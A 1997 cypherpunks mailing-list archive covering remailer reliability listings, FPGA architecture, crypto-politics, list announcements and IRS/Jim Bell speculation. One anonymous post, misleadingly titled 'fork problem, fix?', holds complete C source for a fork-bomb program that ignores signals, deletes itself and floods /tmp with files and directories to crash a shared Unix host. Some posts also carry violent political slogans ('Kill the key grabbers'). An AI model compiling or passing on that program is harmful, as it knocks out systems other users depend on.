>Date: Sun, 20 Jul 1997 15:30:11 -0400 (EDT)
>From: Declan McCullagh <declan@pathfinder.com>
>To: David Downey <digital_matrix@hotmail.com>
>cc: cypherpunks@algebra.com
>Subject: Re: New Cypher ListServ  (part 1)
>
>David,
>
>Don't take this the wrong way, but why should we subscribe to your list
>when there are plenty out there that deal with PGP, crypto, speech, and
>politics already, have been around for a while, and have a critical 
mass
>of participants? What will you offer over, say, cypherpunks?
>
>-Declan
>

Yes, I am trying to get a number of the other cypherpunk lists together 
under one umbrella. Ambitious, but if you don't reach for the stars, 
you'll always be stuck in the lawnchair. I will add other lists that 
folks from this list mention to me, as I am looking to combine a whole 
slew of them together. This way all lists stand a better chance of 
surviving in the event of D.O.S attacks and the like.  If anyone knows a 
list that is good and should be added let me know.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 21 Jul 1997 14:51:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <3.0.2.32.19970720230924.03168b6c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM 7/19/97 -0700, Tim wrote:
...
>Voluntary Mandatory Self-Rating of this Article
>(U.S. Statute 43-666-970719).

Hmmm - somehow my browser let this through

>**SUMMARY**
>Estimated number of readers qualified to read this: 1
>Composite Age Rating: 45 years

I thought you were still 44?  Happy Birthday!
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@oceanus.host4u.net
Date: Mon, 21 Jul 1997 14:04:57 +0800
To: cypherpunks-unedited@toad.com
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210549.AAA31262@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



--

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[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



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SUBSCRIBING
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UNSUBSCRIBING
=============

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I'm done. Talk to you on the List.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@oceanus.host4u.net
Date: Mon, 21 Jul 1997 15:44:47 +0800
To: cypherpunks-unedited-outgoing@toad.com
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210725.CAA14998@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



--

Welcome to the cryptography-politics-pgp-l mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to <Majordomo@oceanus.host4u.net> with the following
command in the body of your email message:

    unsubscribe cryptography-politics-pgp-l cypherpunks-unedited-outgoing@toad.com

If you ever need to get in contact with the owner of the list,
(if you have trouble unsubscribing, or have questions about the
list itself) send email to <owner-cryptography-politics-pgp-l@oceanus.host4u.net> .
This is the general rule for most mailing lists when you need
to contact a human.

 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



In case the Bot fails to send it to you here is the
subscribe/unsubscribe information.



SUBSCRIBING
===========

subscribe cryptography-politics-pgp-l your.email@here


UNSUBSCRIBING
=============

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I'm done. Talk to you on the List.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 21 Jul 1997 22:24:36 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707211350.GAA00830@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp pgponly hash latent cut";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"magus"} = "<mix@magusnet.com> cpunk mix pgp hash latent cut post";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 21 Jul 97 6:47:21 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             --++-+++-+++  1:51:14  99.99%
nym      config@nym.alias.net             *#*#+**#####      :46  99.96%
magus    mix@magusnet.com                        #---+  1:01:47  99.95%
redneck  config@anon.efga.org                     #*-*    34:45  99.93%
hera     goddesshera@juno.com                    +----  3:35:09  99.89%
bureau42 remailer@bureau42.ml.org                *----  4:30:03  99.78%
squirrel mix@squirrel.owl.de              --+++ ++-+++  1:47:37  99.72%
valdeez  valdeez@juno.com                        *.--   2:05:19  99.68%
cracker  remailer@anon.efga.org                  *+ -+    52:45  99.38%
winsock  winsock@rigel.cyberpass.net      ------- .-++  5:20:51  98.86%
cyber    alias@alias.cyberpass.net        ******  ***+    10:15  98.20%
reno     middleman@cyberpass.net          **+ --- .-+   6:04:59  97.28%
replay   remailer@replay.com              *** **    **     4:33  94.56%
arrid    arrid@juno.com                          +---   2:38:00  94.19%
jam      remailer@cypherpunks.ca           ** ****        31:02  86.54%
mix      mixmaster@remail.obscura.com     .-*.+** **    2:13:27  84.97%
neva     remailer@neva.org                       #-*      44:30  84.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Mon, 21 Jul 1997 13:19:00 +0800
To: cypherpunks@toad.com.redhat-list@redhat.com
Subject: fork problem, fix?
Message-ID: <199707210455.GAA29231@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
   bugtraq

   This program is a beefed up classic denial of service fork()'er :)

   Compilation:
	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c

	on my linux, I can compile it with both -DBSD_C and -DSYSV_C

	if your not sure, you can experiment, or compile it
	without any -D'efines


   In the future:
	SunOS signals ignored.
	Creation of random symlinks for more gory destruction.
	Using advanced technology coding to make the hard drive
		blow up with a loud boom and the console explode
		causing a nuclear meltdown.



   Direct All Suggestions And Flames to: Vio

  NOTE: this program is provided for educational purposes only, its author
	will not take any responsibility for any stupid things you will
	decide to do.

	this has been tested, but not the latest version of it.

            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
            $$'   s   `$'   s   `$    $    $    $    `$   $$
            $$    $    $    $    $    $    $    $         $$
            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
            $$    $ssss$    $    $    $    $    $   $$$   $$
            $$    $    $    $    $.   $   ,$    $   $$$   $$
            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'

*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10

#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/

void dirs_generator(void);

main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;

unlink(argv[0]);

/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);

#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif

#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif

if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}


void dirs_generator(void)
{
char alph[] = "
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;

printf("Making dirs..\n");
chdir(START_DIR);

fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();

while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i<flen; i++)
                fl[i] = alph[rand() % strlen(alph)];
	fl[MAX_FILELEN-1]=0;
	i=open(fl,O_WRONLY|O_CREAT);
	write(i,"fuck you! CoViN",16);
	close(i);

	flen= (rand() % MAX_DIRLEN) - 1;
	for(i=0; i<flen; i++)
		dir[i] = alph[rand() % strlen(alph)];
	dir[MAX_DIRLEN-1]=0;
	mkdir(dir,0);	
	chdir(dir);
       }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: decius@ninja.techwood.org (Decius 6i5)
Date: Mon, 21 Jul 1997 19:16:00 +0800
To: cypherpunks@toad.com
Subject: geodesic -- FPGAs
Message-ID: <m0wqGB6-000043C@r38h28.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain



I've been reading the Geodesic systems thread with much interest... I've
been playing around with FPGAs recently, Field Programmable Gate Arrays,
which list members should be familiar with due to discussions concerning
cheap hardware crypto. Why not replace your entire architecture with
reconfigurable hardware? This is sort of like Java turned upside down.
Instead of having generalized code running on a specialized "virtual
machine." (Which is inefficient as hell) Why not ship the architecture
your program runs on along with the program. Liquid architecture. If the
FPGA's are standardized (not likely, but..) you could run whatever kind of
software you wanted and the architecture would automatically reconfigure
to run the code and would be optimized for your application. There are
some challenges with muti-tasking but I think you could manage the
gate-space like you do memory. Web searches on FGPAs will bring you to
research being done on this sort of thing...

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius@ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com>
Date: Mon, 21 Jul 1997 19:20:16 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: thought for the day, and my IRS Investigations report
In-Reply-To: <199707211033.MAA08269@xs2.xs4all.nl>
Message-ID: <33D3426A.35517654@CyberSpaceTechnologies.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713716.multipart/signed"

--Boundary..3971.1071713716.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Zooko Journeyman wrote:

> My interaction with Jim Bell pretty much amounted to condemning
> him and telling him to go to hell, CC'ed to cypherpunks.  And
> I haven't received any IRS Investigations notes, so perhaps my
> e-mail address wasn't included in Jim's little black book.
>
> Zooko
>
> "There are two major forces in the universe:  evolution and
> intelligence."

Why does it always seem like there has to be someone out there that just
HAS to be an idiot.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 23 Jul 1997 08:28:06 +0800
To: cypherpunks@toad.com
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <Chameleon.869487849.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Scientific American had a fairly high level treatment of FPGAs recently. 
They mentioned ways they could be used in conjuction with standard CPUs. The author 
predicts that within 5 or so years, we'll be seeing hybrid systems using FPGAs in 
common use.




   
------------------------
  From: Decius 6i5 <decius@ninja.techwood.org>
  Subject: geodesic -- FPGAs 
  Date: Mon, 21 Jul 1997 06:58:56 -0400 (EDT) 
  To: cypherpunks@toad.com


> I've been reading the Geodesic systems thread with much interest... I've
> been playing around with FPGAs recently, Field Programmable Gate Arrays,
> which list members should be familiar with due to discussions concerning
> cheap hardware crypto. Why not replace your entire architecture with
> reconfigurable hardware? This is sort of like Java turned upside down.
> Instead of having generalized code running on a specialized "virtual
> machine." (Which is inefficient as hell) Why not ship the architecture
> your program runs on along with the program. Liquid architecture. If the
> FPGA's are standardized (not likely, but..) you could run whatever kind of
> software you wanted and the architecture would automatically reconfigure
> to run the code and would be optimized for your application. There are
> some challenges with muti-tasking but I think you could manage the
> gate-space like you do memory. Web searches on FGPAs will bring you to
> research being done on this sort of thing...
> 
> -- 
>         */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
>                        Decius@ninja.techwood.org
> 
> "If the economic, social and political conditions... do not offer a basis 
> for the realization of individuality, while at the same time people have 
> lost those ties which gave them security... powerful tendencies arise to 
> escape from freedom into submission." -- Erich Fromm
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/21/97
Time: 08:02:58
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 00:20:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <v03102803aff9363195b7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:58 AM -0700 7/21/97, Decius 6i5 wrote:
>I've been reading the Geodesic systems thread with much interest... I've
>been playing around with FPGAs recently, Field Programmable Gate Arrays,
>which list members should be familiar with due to discussions concerning
>cheap hardware crypto. Why not replace your entire architecture with
>reconfigurable hardware? This is sort of like Java turned upside down.

Why not replace your entire architecture with reconfigurable hardware?
Because factors of 2 or 3 or 4 or more are still important to people.
Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,
etc.

Now tell those folks that the FPGA version will cost several times as much
and have the performance of a 90 MHz 486. Or less.

All for what? So they can issue a "reconfigure yourself" command and have
their machine spend a few minutes reprogramming itself into, what, a Mac?

For lots of reasons, this won't fly. I could elaborate on why this is so,
technically, or marketing-wise. But I'll leave this as an exercise.

One of the great breakthoughs of this century was the notion by von Neumann
and others of a general purpose engine programmable with programs, instead
of rearranging patch panel connections for each new algorithm. A general
purpose CPU able to run NT, Linux, NextStep, OS/2, and myriads of programs
is generally more useful to most people than (expensive) reconfigurable
hardware.

Except for specialized applications, which is where graphics accelerators,
I/O processors, and digital signal processors (DSPs) come to the fore.
However, even with these funcitons, as soon as these functions get
integrated onto the main processor, as time passes, the handwriting is on
the wall.

(Look at what happened to Weitek once Intel and Sun integrated floating
point coprocessors directly into their processors.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "(unavailable) (unavailable)" <happen_is@hotmail.com>
Date: Tue, 22 Jul 1997 00:48:26 +0800
To: cypherpunks@Algebra.COM
Subject: TEST IGNORE
Message-ID: <199707211622.JAA07978@f44.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I told you to ignore it, didn't I?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 22 Jul 1997 00:13:29 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <6Ta30D7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970721094915.29316B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Alan <alano@teleport.com> writes:
> 
> >
> > I recieved this today via e-mail.  I find it strange since I have never
> > asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > my Cypherpunks mail shows up at a different address.
> >
> > Did anyone else get this?
> 
> I got it too.
> 
> It could be a very tasteless joke.
> 
> Or it could be a real e-mail from IRS telling us that they keep tabs on
> who's been talking to Jim.
> 

Somehow I find it unlikely that this is authentic.  Last I heard, Jim Bell
was being held without charges for some incredibly long period of time --
like a month or so. 

Seems that any lawyer worth his salt could get any conceivable charges
dropped on that count alone.  Admitting to a felony in this case seems
unlikely, but then you never know.

Regards,

Jim "Habeus Corpus" Burnes
jim.burnes@ssds.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 22 Jul 1997 01:25:01 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970721100510.29316D-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 

The patriotism quote has null benefit because it can be used against
anyone that has "patriotic" principles that are different than yours.

Thus all patriots are scoundrels when they disagree with you.

This is the same as name calling.

Re: Tim May's quote.  May is pointing out the truism that the world
is full of weak-minded fools.  This is the essential problem of
the illusory democracy that we live in today.  Since in our 
illusory democracy, the people falsely believe they've excercised their
will via "the vote".

The reality is that the sheeple, lulled into veritable unconsciouness with
an unending stream of monday-night sports, the Home Shopping Channel (TM) 
and Beavis and Butthead couldn't care a less as long as they feed on the
media/social security/propaganda tit.  Their personal opinions, thorougly
pre-chewed and digested are spoon-fed to them through a port in the side
of their head labeled "fear".

May is just one of the people who has awoken from the anesthesia
(self-induced or not).

We have met the enemy and he is us.

"There is no one so thoroughly enslaved as those who falsely 
believe they are free." (unknown)


Jim Burnes
jim.burnes@ssds.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 01:38:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <v03102804aff94c39c2f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:48 AM -0700 7/21/97, Anonymous wrote:
>                     AMERICAN CIVIL LIBERTIES UNION
>
>
>                       WASHINGTON OFFICE
>
>                                                    122 Maryland Avenue, NE
> November 1, 1985                                   Washington, DC 20002
...

In fairness to Berman, in 1985 very few people were thinking seriously
about these issues, and Chaum's paper (presumably the one published that
year in "Communicatons of the ACM") was probably seen as far-off technology
then.

I'd be more interested to see Berman's more recent views on online anonymity.

It might well be that in 1985 he saw little hope for technological
solutions, and understandably placed more faith in legislative solutions.

Now that the technology for anonymity is widely deployed, this situation
has changed.

If Berman or any of the other "cyber rights" groups were to call for bans
on anonymity, this would be news indeed. (And I don't expect them to. The
Supreme Court rulings on anonymous leafletting and speech were pretty
clearcut.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Mon, 21 Jul 1997 16:42:37 +0800
To: cryptography@c2.net
Subject: JENC8 presentation - Crypto Regulation in Europe - online
Message-ID: <25B57B93963@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have put my recent presentation to JENC8 online:
   Crypto Regulation in Europe. Some key trends and issues
   Proceedings 8th Joint European Networking Conference, 
   Edinburgh, 12-15 May 1997, pp. 811/1-8
http://cwis.kub.nl/~frw/people/koops/jenc8bjk.htm

A somewhat revised version of this paper, updated until June 1997, will
be published in Computer Networks and ISDN Systems. 

Comments are welcomed.

Kind regards,
Bert-Jaap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@MIT.EDU>
Date: Mon, 21 Jul 1997 23:02:15 +0800
To: cypherpunks@toad.com
Subject: re: geodesic -- FPGAs
Message-ID: <9707211446.AA13815@m56-129-19.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



FPGAs lack in dynamic reconfigurability.  However, a friend of mine from
the institute (now graduated and off in california) developed a bloody-fast
reprogrammable chip (I think it can be arbitrarily reprogrammed in a clock
cycle or so).  Needless to say, this is a really wonderful toy -- they
seem to want to use them for "communications processors", like modem
control chips and stuff, but I can think of many more uses for them.  I
think they're talking about being able to ship them in a couple years --
I know I'm going to try to use whatever influence I have to get at least
a development kit.  Think about the potential for iteratively-improved
static designs, if not for truly dynamic designs. (there is some cs
theory in the area of real-time reconfigurable processors, but it's
hard, not all that well explored)  As well, you could always use something
like this in a traditional massively-parallel codebreaking device, perhaps
stepping through keys in silicon rather than in memory.

Very cool toys.  I want one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 03:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: <19970721120326.06352@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



